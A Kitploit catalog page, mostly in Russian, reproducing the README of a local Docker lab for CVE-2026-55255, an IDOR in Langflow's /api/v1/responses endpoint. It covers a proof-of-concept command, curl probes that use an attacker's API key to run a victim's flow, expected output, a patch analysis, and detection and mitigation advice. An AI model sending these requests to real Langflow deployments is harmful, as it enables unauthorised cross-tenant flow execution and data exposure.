Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-55255-Lab | Kitploit
Инструменты/GitHubGitHub/rootdirective-sec/cve-2026-55255-lab
Анализ уязвимостейЭксплуатация веб-приложенийТестирование безопасности APIТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubrootdirective-sec/cve-2026-55255-lab

CVE-2026-55255-Lab

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-55255 - Langflow IDOR в /api/v1/responses

Краткое описание

Этот репозиторий содержит локальную Docker-лабораторию для воспроизведения и проверки CVE-2026-55255 — уязвимости типа Insecure Direct Object Reference (IDOR), затрагивающей OpenAI-совместимый Responses API в Langflow.

Langflow — это платформа с открытым исходным кодом для создания и развёртывания агентов и рабочих процессов на основе ИИ. Уязвимое поведение затрагивает конечную точку /api/v1/responses, где аутентифицированный злоумышленник может указать UUID чужого потока в качестве значения model и заставить Langflow выполнить этот поток, принадлежащий жертве.

Эта лаборатория сравнивает две версии Langflow:

СервисВерсия LangflowНазначениеURL
vuln1.9.0Уязвимая цель для сравненияhttp://localhost:7860
patched1.9.1Исправленная цель для сравненияhttp://localhost:7861

Продемонстрированный путь проверки HTTP в этой локальной лабораторной среде:```text Authenticated attacker API key → POST /api/v1/responses → request body sets model to victim-owned flow UUID → vulnerable target executes the victim-owned flow → patched target returns flow_not_found and does not execute the victim-owned flow

root@kitploit:~
В уязвимой цели ключ API, принадлежащий атакующему, может выполнять поток, принадлежащий жертве, и ответ содержит маркер, доступный только жертве:```text
VICTIM_ONLY_CONTEXT_55255_VULN

В пропатченной цели тот же межпользовательский запрос не возвращает маркер жертвы и возвращает тело ошибки в стиле OpenAI:```json {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}

root@kitploit:~
Эта лабораторная работа проверяет поведение HTTP уязвимой версии по сравнению с исправленной, используя Langflow 1.9.0 и Langflow 1.9.1.

Лабораторная работа намеренно ограничена локальными Docker-сервисами. Она не нацелена на внешние системы и не включает кражу учётных данных, дамп баз данных, разрушительные полезные нагрузки, внешние обратные вызовы, вредоносное ПО, закрепление в системе или действия после эксплуатации.

## Проверенные факты

| Утверждение | Доказательство | Как проверить в этой лабораторной работе |
| ----- | -------- | ------------------------- |
| CVE-2026-55255 затрагивает конечную точку `/api/v1/responses` Langflow. | В уведомлении GitHub GHSA-qrpv-q767-xqq2 описан IDOR в `/api/v1/responses`. | Изучите раздел References и запустите PoC против обеих локальных целей. |
| В уведомлении GitHub указаны затронутые версии `< 1.9.1` и исправленная версия `1.9.1`. | Уведомление GitHub GHSA-qrpv-q767-xqq2. | Сравните уязвимую и исправленную версии целевых сервисов в `docker-compose.yml`. |
| Некоторые вторичные источники об уязвимостях расходятся во мнениях относительно точной исправленной версии. | GitHub/GitLab указывают `1.9.1` как исправленную; некоторые вторичные страницы упоминают `1.9.2` или содержат неоднозначные формулировки. | Изучите раздел References и полагайтесь на результаты лабораторной проверки поведения версии 1.9.1. |
| Эта лабораторная работа использует Langflow 1.9.0 в качестве уязвимой цели для сравнения. | Сервис `vuln` использует `langflowai/langflow:1.9.0`. | Проверьте `docker-compose.yml` и выполните `docker compose ps`. |
| Эта лабораторная работа использует Langflow 1.9.1 в качестве исправленной цели для сравнения. | Сервис `patched` использует `langflowai/langflow:1.9.1`. | Проверьте `docker-compose.yml` и выполните `docker compose ps`. |
| API Responses Langflow использует `POST /api/v1/responses`. | В документации Langflow описан совместимый с OpenAI endpoint Responses API. | Запустите PoC или выполните ручной curl-запрос к `/api/v1/responses`. |
| API Responses Langflow принимает ID потока (flow ID) в качестве значения `model`. | В документации Langflow указано, что значение `model` заменяется на `flow_id`. | Изучите тело запроса в PoC. |
| Запросы к API Langflow требуют API-ключ через `x-api-key`. | В документации API Langflow описана аутентификация по API-ключу с помощью заголовка `x-api-key`. | Изучите заголовки запроса в PoC. |
| PoC основан на HTTP-запросах. | `poc/validate_idor.py` отправляет HTTP-запросы и не вызывает Docker, Docker Compose, shell-команды или контейнерные API. | Изучите `poc/validate_idor.py`. |
| Уязвимая цель выполняет flow, принадлежащий жертве, с использованием API-ключа атакующего. | Уязвимый ответ возвращает `VICTIM_ONLY_CONTEXT_55255_VULN`. | Запустите команду PoC для уязвимой версии с ID flow жертвы и API-ключом атакующего. |
| Исправленная цель блокирует тот же путь выполнения между пользователями. | Исправленный ответ возвращает `error.code = flow_not_found` и не возвращает маркер жертвы. | Запустите команду PoC для исправленной версии с ID flow жертвы и API-ключом атакующего. |

## Допущения и неизвестные

Эта лабораторная работа использует Langflow 1.9.0 в качестве уязвимой цели для сравнения, поскольку уведомление GitHub GHSA-qrpv-q767-xqq2 указывает версии до 1.9.1 как затронутые, а локальное тестирование подтвердило уязвимое поведение в 1.9.0.

Эта лабораторная работа использует Langflow 1.9.1 в качестве исправленной цели для сравнения, поскольку уведомление GitHub GHSA-qrpv-q767-xqq2 указывает 1.9.1 как исправленную версию, а локальное тестирование подтвердило, что 1.9.1 блокирует проверяемый путь выполнения `/api/v1/responses` между пользователями с ошибкой `flow_not_found`.

Между источниками существует расхождение в версиях. В уведомлениях GitHub и GitLab перечислены версии до 1.9.1 как затронутые, а 1.9.1 — как исправленная. Некоторые вторичные страницы с данными об уязвимостях упоминают 1.9.2 или содержат неоднозначные формулировки относительно исправленной версии. Этот репозиторий документирует данное расхождение и напрямую проверяет протестированное поведение:```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed

Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed

В этой лабораторной работе предполагается, что атакующий уже знает UUID потока жертвы. PoC не перебирает идентификаторы потоков, не перечисляет потоки и не пытается обнаружить идентификаторы потоков жертвы.

Эта лабораторная работа сосредоточена на наблюдаемом HTTP-поведении:```text POST /api/v1/responses

root@kitploit:~
с такой формой запроса:```json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

Лабораторная работа демонстрирует несанкционированное выполнение потока между пользователями в уязвимой цели и блокируемое поведение в исправленной цели.

Лабораторная работа не демонстрирует:

  • перебор UUID потоков,
  • перечисление ID потоков,
  • кражу учетных данных,
  • дамп базы данных,
  • использование реальных API-ключей LLM-провайдеров,
  • доступ к реальным производственным данным,
  • внешние обратные вызовы,
  • удаленное выполнение команд,
  • вредоносное ПО,
  • закрепление,
  • или атаки на системы, не относящиеся к лабораторной работе.

Краткое описание первопричины

Первопричина CVE-2026-55255 — недостаток авторизации в логике разрешения потоков Langflow.

Конечная точка /api/v1/responses принимает UUID потока через поле model. В уязвимых версиях путь поиска UUID внутри get_flow_by_id_or_endpoint_name() мог загружать объект Flow напрямую по первичному ключу, не проверяя, что разрешённый Flow.user_id соответствует пользователю, аутентифицированному по API-ключу.

Уязвимое поведение можно обобщить следующим образом:```text Attacker owns API key → attacker sends POST /api/v1/responses → model contains victim-owned flow UUID → flow resolver loads Flow by UUID → resolver does not enforce Flow.user_id == attacker_user.id → response endpoint executes the victim-owned flow → attacker receives victim flow output

root@kitploit:~
Исправленное поведение можно обобщить следующим образом:```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed

Проблема безопасности не в том, что злоумышленник может вызывать /api/v1/responses со своими собственными потоками. Это ожидаемое поведение. Проблема в том, что аутентифицированный пользователь с низкими привилегиями может заставить конечную точку выполнить поток, принадлежащий другому пользователю, если указан UUID потока жертвы.

Урок безопасности заключается в следующем:```text Object lookup by UUID is not authorization. Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.

root@kitploit:~
## Анализ исходного кода

Проблема на уровне исходного кода была подтверждена сравнением Langflow `v1.9.0` и `v1.9.1`.

Проверенные теги исходного кода, использованные для анализа:

| Версия | Коммит Git |
| ------- | ---------- |
| v1.9.0  | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1  | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |

Соответствующий вспомогательный элемент:```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:

В уязвимой ветви UUID поток загружался по ID:```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id)

root@kitploit:~
Отсутствующая проверка, значимая для безопасности, была:```python
flow.user_id == authenticated_user.id

Без этой проверки владельца валидного UUID потока было достаточно, чтобы получить объект Flow, даже если он принадлежал другому пользователю.

Исправленная версия добавляет нормализацию user_id и обеспечивает ограничение владельца на пути UUID:```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None

root@kitploit:~
Важное поведение заключается в следующем:```text
if the flow exists
and the flow belongs to another user
then treat it as not found

Вот почему ответ запатченной лаборатории возвращает:```json {"error":{"code":"flow_not_found"}}

root@kitploit:~
вместо выполнения flow, принадлежащего жертве.

Для этой лабораторной работы основное уязвимое поведение — путь выполнения `/api/v1/responses`, достигающий `get_flow_by_id_or_endpoint_name()` и разрешающий UUID flow, принадлежащего жертве, без проверки владения.

Патч также усиливает связанные маршруты выполнения flow. В `endpoints.py` маршруты, которые ранее использовали необработанный хелпер как зависимость FastAPI, были изменены с:```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]

к аутентифицированным обёрткам, таким как:```python async def get_flow_for_api_key_user( flow_id_or_name: str, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> FlowRead: return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)

root@kitploit:~
Эти изменения обёрток представляют собой связанное ужесточение для других маршрутов выполнения потоков, таких как `/api/v1/run*`. Они гарантируют, что вспомогательная функция получает идентификатор аутентифицированного пользователя, а не полагается на обычный параметр запроса. Основное исправление, продемонстрированное в этой лабораторной работе, остаётся проверкой принадлежности на стороне резолвера внутри `get_flow_by_id_or_endpoint_name()`.

Таким образом, исправление на уровне исходного кода состоит из двух связанных частей:```text
Core resolver fix:
  enforce owner scoping before returning a Flow object

Related route dependency hardening:
  pass the authenticated API-key or session user's ID into the resolver

Сводка исправлений исходного кода

Langflow 1.9.1 укрепляет уязвимый путь разрешения потоков, обрабатывая межпользовательские поиски как ненайденные и обеспечивая, чтобы связанные маршруты выполнения потоков передавали аутентифицированный контекст пользователя в резолвер.

Основная исправленная логика:```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None

root@kitploit:~
Этот патч также добавляет аутентифицированные обёрточные зависимости для маршрутов, которым необходимо разрешать потоки:```python
async def get_flow_for_api_key_user(...):
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)

async def get_flow_for_current_user(...):
    return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)

Изменение, связанное с безопасностью:```text Before: flow UUID → session.get(Flow, flow_id) → Flow object returned without owner scoping → downstream execution path can run victim-owned flow

After: flow UUID → session.get(Flow, flow_id) → compare Flow.user_id with authenticated user id → cross-user result becomes None → shared not-found behavior fires → victim-owned flow is not executed

root@kitploit:~
Патч также снижает раскрытие информации. Доступ между пользователями обрабатывается как «не найдено», а не возвращает отдельный ответ авторизации, который мог бы раскрыть, существует ли поток другого пользователя.

В этой лабораторной работе проверка исходного кода и проверка во время выполнения разделены:```text
Source patch review:
  explains why the vulnerable resolver could return a victim-owned flow.

Runtime validation:
  proves the vulnerable target executes the victim-owned flow and the patched target does not.

Архитектура лаборатории

Лаборатория запускает две изолированные цели Langflow через Docker Compose.```text . ├── docker-compose.yml ├── poc/ │ └── validate_idor.py ├── seed/ │ ├── Dockerfile │ └── seed.py ├── src/ │ ├── langflow-1.9.0/ │ └── langflow-1.9.1/ ├── state/ │ ├── patched.json │ ├── patched.ready │ ├── vuln.json │ └── vuln.ready └── README.md

root@kitploit:~
Файлы `state/` создаются seed-сервисами при запуске лаборатории. Каталог `src/` содержит проверенные исходные деревья Langflow, используемые для проверки различий исходного кода.

Два сервиса Langflow используют отдельные версии приложения и отдельные внутриконтейнерные базы данных SQLite:

| Сервис       | Компонент | Версия / роль                           |
| ------------ | --------- | -------------------------------------- |
| vuln         | Langflow  | уязвимое целевое приложение            |
| patched      | Langflow  | исправленное сравнительное приложение  |
| seed-vuln    | Python    | создаёт локальных пользователей, ключи API, потоки |
| seed-patched | Python    | создаёт локальных пользователей, ключи API, потоки |

Сервисы, доступные по умолчанию:```text
Vulnerable target: http://localhost:7860
Patched target:    http://localhost:7861
TargetLangflow versionExpected behavior
http://localhost:78601.9.0API-ключ атакующего может выполнять flow жертвы
http://localhost:78611.9.1выполнение flow жертвы другим пользователем блокируется

Сервисы начальной загрузки запускаются автоматически во время:```bash docker compose up --build --wait

root@kitploit:~
Они создают:```text
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready

The seed-generated state/*.json files provide disposable local test values such as API keys and flow UUIDs.

The PoC does not read state/*.json. The user supplies the target URL, API key, flow ID, and optional expected marker through command-line arguments.

The lab does not create or modify the vulnerable /api/v1/responses route. That route is provided by Langflow.

Requirements

  • Docker Desktop or Docker Engine
  • Docker Compose v2 with --wait support
  • Python 3
  • jq for the convenience commands in this README
  • Internet access during first Docker image pull

No Python third-party package is required for the PoC. The PoC uses Python standard library modules only.

The seed container installs the Python requests package internally. That package is used only by the seed services during lab setup, not by the PoC.

Quick Start

Start the lab from a clean state:```bash docker compose down -v --remove-orphans find state -type f ( -name ".json" -o -name ".ready" ) -delete docker compose up --build --wait

root@kitploit:~
Проверьте статус сервиса:```bash
docker compose ps

Ожидаемые исправные сервисы:```text cve-2026-55255-vuln cve-2026-55255-patched cve-2026-55255-seed-vuln cve-2026-55255-seed-patched

root@kitploit:~
Ожидаемые доступные цели:```text
http://localhost:7860
http://localhost:7861

Проверьте файлы состояния seed:```bash ls -la state cat state/vuln.json | jq . cat state/patched.json | jq .

root@kitploit:~
Ожидаемые файлы:```text
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready

Запустите проверку на основе запросов для уязвимой цели:```bash python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/vuln.json)"
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)"
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"

root@kitploit:~
Выполните проверку на основе запросов к пропатченной цели:```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/patched.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"

Использование PoC

PoC принимает целевой URL, ключ API, flow ID и необязательный ожидаемый маркер:```bash python3 poc/validate_idor.py
--url <target_url>
--api-key <api_key>
--flow-id <target_flow_id>
--expect-marker <expected_output_marker>

root@kitploit:~
Обязательные параметры:

| Параметр | Значение |
| ------ | ------- |
| `--url` | Базовый URL Langflow |
| `--api-key` | Ключ API, используемый в заголовке `x-api-key` |
| `--flow-id` | UUID потока, используемый как значение `model` |

Необязательные параметры:

| Параметр | Значение |
| ------ | ------- |
| `--expect-marker` | Маркер, ожидаемый в ответе, если целевой поток выполняется |

PoC отправляет следующий HTTP-запрос:```text
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json

Тело запроса:```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

root@kitploit:~
The PoC is request-based. It does not call Docker, Docker Compose, shell commands, WP-CLI, container APIs, or Langflow seed APIs.

In this lab, `state/*.json` can be used to copy the disposable local API keys and flow IDs into the PoC command. The PoC itself does not depend on those files. The API keys in `state/*.json` are disposable local lab keys; do not use real production API keys in these commands.

## Expected Results

### Vulnerable Target

Command:```bash
python3 poc/validate_idor.py \
  --url "$(jq -r '.public_url' state/vuln.json)" \
  --api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
  --flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
  --expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"

Ожидаемый сигнал уязвимой цели:```text

[CVE-2026-55255 REQUEST-BASED VALIDATION] [TARGET] http://localhost:7860 [FLOW_ID] [API_KEY]

[REQUEST] POST http://localhost:7860/api/v1/responses x-api-key: Content-Type: application/json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

[RESPONSE] HTTP 200 flow execution observed : True expected marker : VICTIM_ONLY_CONTEXT_55255_VULN marker found : True

[BODY] ... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...

======================================================================================== [CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned. FINAL: VULNERABLE_BEHAVIOR_OBSERVED

root@kitploit:~
Важный уязвимый сигнал:```text
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned

Пропатченная цель

Команда:```bash python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/patched.json)"
--api-key "$(jq -r '.attacker.api_key' state/patched.json)"
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"

root@kitploit:~
Ожидаемый сигнал пропатченной цели:```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>

[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
  "model": "<victim-flow-id>",
  "input": "cross-user CVE-2026-55255 validation request",
  "stream": false
}

[RESPONSE]
HTTP 200
flow execution observed : False
expected marker         : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found            : False
error code              : flow_not_found

[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}

========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED

Важный исправленный сигнал:```text attacker API key

  • victim flow UUID
  • no victim marker
  • error.code = flow_not_found
root@kitploit:~
### Выполнение замечено без маркера

Если `--expect-marker` опущен и цель возвращает завершённый ответ Langflow, PoC сообщает:```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED

Это означает, что целевой поток выполнился, но PoC сам по себе не может доказать, что предоставленный ID потока принадлежит другому пользователю. Принадлежность должна быть подтверждена с помощью лабораторных сид-данных, источника ID потока или других авторизованных доказательств.

Как работает валидация

Валидатор отправляет один HTTP POST-запрос к конечной точке Langflow Responses API:```text /api/v1/responses

root@kitploit:~
Запрос использует предоставленный ключ API:```text
x-api-key: <attacker-api-key>

Тело запроса использует предоставленный UUID потока в качестве значения model:```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

root@kitploit:~
Ожидаемое уязвимое поведение:```text
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker

Ожидаемое поведение после исправления:```text request does not execute victim-owned flow response does not contain victim marker response indicates flow_not_found

root@kitploit:~
В этой лабораторной работе Langflow 1.9.1 возвращает `HTTP 200` с JSON-объектом ошибки в стиле OpenAI:```json
{"error":{"code":"flow_not_found"}}

Именно поэтому PoC проверяет код ошибки JSON, а не предполагает, что статус HTTP-транспорта должен быть 404.

PoC намеренно проверяет только условие выполнения межпользовательского потока. Он не пытается обнаруживать идентификаторы потоков, перебирать UUID, перечислять пользователей, извлекать секреты или вызывать внешние сервисы.

Ручное воспроизведение HTTP с помощью curl

Лабораторный seed записывает одноразовые локальные значения в state/*.json. Эти команды используют эти локальные значения для построения curl-запросов. Файлы состояния являются артефактами только лабораторной среды.

Уязвимый зонд:```bash curl -i -sS -X POST
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)"
--data "{ "model": "$(jq -r '.victim_flow.id' state/vuln.json)", "input": "cross-user CVE-2026-55255 validation request", "stream": false }"

root@kitploit:~
Ожидаемый уязвимый результат:```text
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"

Патченный зонд:```bash curl -i -sS -X POST
"$(jq -r '.public_url' state/patched.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)"
--data "{ "model": "$(jq -r '.victim_flow.id' state/patched.json)", "input": "cross-user CVE-2026-55255 validation request", "stream": false }"

root@kitploit:~
Ожидаемый результат после применения патча:```text
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}

Воздействие

CVE-2026-55255 является критичным с точки зрения безопасности в многопользовательских или мультитенантных развертываниях Langflow, поскольку аутентифицированный пользователь может выполнить поток другого пользователя, если известен UUID потока-жертвы.

Реальный потенциальный ущерб зависит от того, что делает поток, принадлежащий жертве.

Возможные последствия могут включать:

  • несанкционированное выполнение чужого AI-процесса,
  • раскрытие данных, обрабатываемых потоком жертвы,
  • доступ к выходным данным промптов или процессов, принадлежащих жертве,
  • использование принадлежащих жертве интеграций или настроенных компонентов,
  • потребление вычислительных или API-ресурсов, связанных с жертвой,
  • обход границ авторизации между пользователями или арендаторами,
  • и раскрытие информации через выходные данные потока.

Практическая эксплуатируемость зависит от того, сможет ли атакующий получить действительный UUID потока жертвы. Подбор UUID потока не является целью данной лабораторной работы, и PoC не перебирает идентификаторы потоков.

Эта лабораторная работа демонстрирует лишь безопасное нарушение границы авторизации:```text attacker API key

  • victim flow UUID
  • victim-only marker returned
root@kitploit:~
Лаборатория не демонстрирует реальный доступ к данным, реальный доступ к секретам, злоупотребление ключами LLM-провайдера, внешние обратные вызовы или постэксплуатацию.

## Обнаружение и мониторинг

Потенциальные индикаторы включают аутентифицированные запросы к:```text
POST /api/v1/responses

Подозрительный шаблон запроса:```text x-api-key belongs to user A model contains flow UUID owned by user B

root@kitploit:~
Высокосигнальная идея обнаружения:```text
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID

Возможные журналы прикладного уровня или телеметрия для проверки:

  • владелец API-ключа,
  • путь запроса,
  • значение model,
  • определённый ID потока,
  • владелец определённого потока,
  • код ошибки ответа,
  • ответы flow_not_found,
  • успешно завершённые ответы от /api/v1/responses,
  • необычные попытки выполнения потока от имени другого пользователя,
  • повторные попытки перебора множества UUID потоков,
  • и необычно высокая нагрузка на API со стороны пользователя с низкими привилегиями.

Пример уязвимого артефакта проверки:```text Request: POST /api/v1/responses x-api-key: attacker user's API key model: victim user's flow UUID

Response: status: completed error: null output contains victim-only marker

root@kitploit:~
Пример исправленного артефакта валидации:```text
Request:
  POST /api/v1/responses
  x-api-key: attacker user's API key
  model: victim user's flow UUID

Response:
  error.code: flow_not_found
  victim marker not returned

Recommended monitoring actions:

  • Review API logs for /api/v1/responses.
  • Correlate API key owner with requested flow owner.
  • Alert on cross-user flow UUID usage.
  • Review flow_not_found bursts against the Responses API.
  • Review unusually high API usage by newly created or low-privileged users.
  • Review public or shared channels where flow UUIDs may be exposed.
  • Rotate affected API keys if misuse is suspected.
  • Review victim-owned flows for sensitive connectors, tools, or data sources.

Mitigation and Patch Notes

Upgrade Langflow to a fixed version.

GitHub Advisory GHSA-qrpv-q767-xqq2 lists Langflow 1.9.1 as patched for CVE-2026-55255. Some downstream vulnerability intelligence sources mention 1.9.2 or contain mixed wording around the fixed version. This lab validates that Langflow 1.9.1 blocks the tested /api/v1/responses cross-user execution path with flow_not_found. For production environments, update to the latest available Langflow release rather than stopping at the lab comparison version.

Recommended mitigation steps:

  • Upgrade Langflow to a fixed or latest available version.
  • Confirm that the installed version is not in the affected range.
  • Restrict Langflow exposure to trusted networks where possible.
  • Require authentication for API routes.
  • Review and rotate API keys if exploitation is suspected.
  • Review flow ownership and sharing configuration.
  • Review logs for cross-user /api/v1/responses requests.
  • Avoid exposing flow UUIDs unnecessarily.
  • Treat reverse proxy or WAF blocks as temporary controls, not replacements for upgrading.
  • In multi-tenant environments, test that API-key users cannot execute flows they do not own.

Security engineering lessons:

  • Do not rely on object UUID secrecy as an authorization control.
  • Scope object lookup by authenticated principal.
  • Enforce ownership checks before using resolved objects.
  • Avoid direct use of generic resolver helpers as route dependencies when they require authenticated context.
  • Treat not-found responses carefully to avoid object existence disclosure.
  • Add regression tests for cross-user object access.

Safety Boundaries

This lab is for local security research and controlled demonstration only.

Do not run the PoC or manual curl requests against systems you do not own or do not have explicit authorization to test.

Do not use real production credentials, customer data, payment data, API keys, LLM provider keys, database credentials, or production secrets in this lab.

The intended scope is limited to local Docker services such as:```text http://localhost:7860 http://localhost:7861 http://127.0.0.1:7860 http://127.0.0.1:7861

root@kitploit:~
The PoC is intentionally request-based. It does not call Docker, Docker Compose, shell commands, WP-CLI, or container APIs.

The lab does not include payloads for:

* flow UUID brute forcing,
* user enumeration,
* credential theft,
* database dumping,
* LLM provider key abuse,
* arbitrary command execution,
* malware,
* persistence,
* lateral movement,
* customer data access,
* or external callbacks.

The goal is to demonstrate one specific technical condition in a controlled environment:```text
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found

Ссылки

  • Запись CVE: CVE-2026-55255 https://www.cve.org/CVERecord?id=CVE-2026-55255

  • Уведомление GitHub: GHSA-qrpv-q767-xqq2 https://github.com/advisories/GHSA-qrpv-q767-xqq2

  • Уведомление GitLab: CVE-2026-55255 https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/

  • Pull Request Langflow: fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832 https://github.com/langflow-ai/langflow/pull/12832

  • Документация Langflow OpenAI Responses API https://docs.langflow.org/api-openai-responses

  • Документация Langflow по API-ключам и аутентификации https://docs.langflow.org/api-keys-and-authentication

  • Примеры из справочника API Langflow https://docs.langflow.org/api-reference-api-examples

  • Репозиторий Langflow на GitHub https://github.com/langflow-ai/langflow

  • Docker-образ Langflow https://hub.docker.com/r/langflowai/langflow

  • Примечание к плагину Tenable для GHSA-qrpv-q767-xqq2 https://www.tenable.com/plugins/container-security/443659

  • Аналитика уязвимостей Mondoo: CVE-2026-55255 https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255

Скачать инструмент